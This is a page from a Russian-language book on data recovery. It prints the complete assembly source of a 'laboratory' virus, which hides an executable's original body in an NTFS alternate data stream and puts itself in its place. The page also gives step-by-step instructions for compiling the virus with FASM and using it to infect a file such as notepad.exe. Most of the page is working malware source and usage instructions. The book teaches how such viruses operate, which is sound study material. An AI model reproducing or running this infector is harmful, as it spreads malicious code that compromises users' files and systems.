Восстановление данных - страница 69
Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.
В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.
Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса
>section '.code' code readable executable
>start:
> ; Удаляем временный файл
> push foo
> call [DeleteFile]
> ; Определяем наше имя
> push 1000
> push buf
> push 0
> call [GetModuleFileName]
> ; Считываем командную строку
> ; Ключ filename - заразить
> call [GetCommandLine]
> mov ebp, eax
> xor ebx, ebx
> mov ecx, 202A2D2Dh ;
>rool:
> cmp [eax], ecx ; это '--*'?
> jz infect
> inc eax
> cmp [eax], ebx ; Конец командной строки?
> jnz rool
> ; Выводим диагностическое сообщение,
> ; подтверждая свое присутствие в файле
> push 0
> push aInfected
> push aHello
> push 0
> call [MessageBox]
> ; Добавляем к своему имени имя потока NTFS
> mov esi, code_name
> mov edi, buf
> mov ecx, 100; сode_name_end - code_name
> xor eax,eax
> repne scasb
> dec edi
> rep movsb
> ; Запускаем поток NTFS на выполнение
> push xxx
> push xxx
> push eax
> push eax
> push eax
> push eax
> push eax
> push eax
> push ebp
> push buf
> call [CreateProcess]
> jmp go2exit ; Выходим из вируса
>infect:
> ; Устанавливаем eax на первый символ имени файла-жертвы
> ; (далее по тексту dst)
> add eax, 4
> xchg eax, ebp
> xor eax,eax
> inc eax
> ; Здесь можно вставить проверку dst на заражение
> ; Переименовываем dst в foo
> push foo
> push ebp
> call [RenameFile]
> ; Копируем в foo основной поток dst
> push eax
> push ebp
> push buf
> call [CopyFile]
> ; Добавляем к своему имени имя потока NTFS
> mov esi, ebp
> mov edi, buf
>copy_rool:
> lodsb
> stosb
> test al,al
> jnz copy_rool
> mov esi, code_name
> dec edi
>copy_rool2:
> lodsb
> stosb
> test al,al
> jnz copy_rool2
> ; Копируем foo в dst:bar
> push eax
> push buf
> push foo
> call [CopyFile]
> ; Здесь не помешает добавить коррекцию длины заражаемого файла
> ; Удаляем foo
> push foo
> call [DeleteFile]
> ; Выводим диагностическое сообщение,
> ; подтверждающее успешность заражения файла
> push 0
> push aInfected
> push ebp
> push 0
> call [MessageBox]
> ; Выход из вируса
>go2exit:
> push 0
> call [ExitProcess]
>section '.data' data readable writeable
> foo db "foo",0 ; Имя временного файла
> code_name db ":bar",0 ; Имя потока, в котором будет...
> code_name_end: ; ...сохранено основное тело
> ; Различные текстовые строки, выводимые вирусом
> aInfected db "infected",0
> aHello db "Hello, you are hacked"
> ; Различные буфера для служебных целей
> buf rb 1000
> xxx rb 1000
Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.
Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду: >fasm.exe xcode.asm
. Если все сделано правильно, на диске должен появиться файл >xcode.exe
. Запустим его на выполнение с опцией командной строки >--*
, за которой следует имя файла, который требуется заразить, например, notepad.exe (>xcode.exe --* notepad.exe
). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.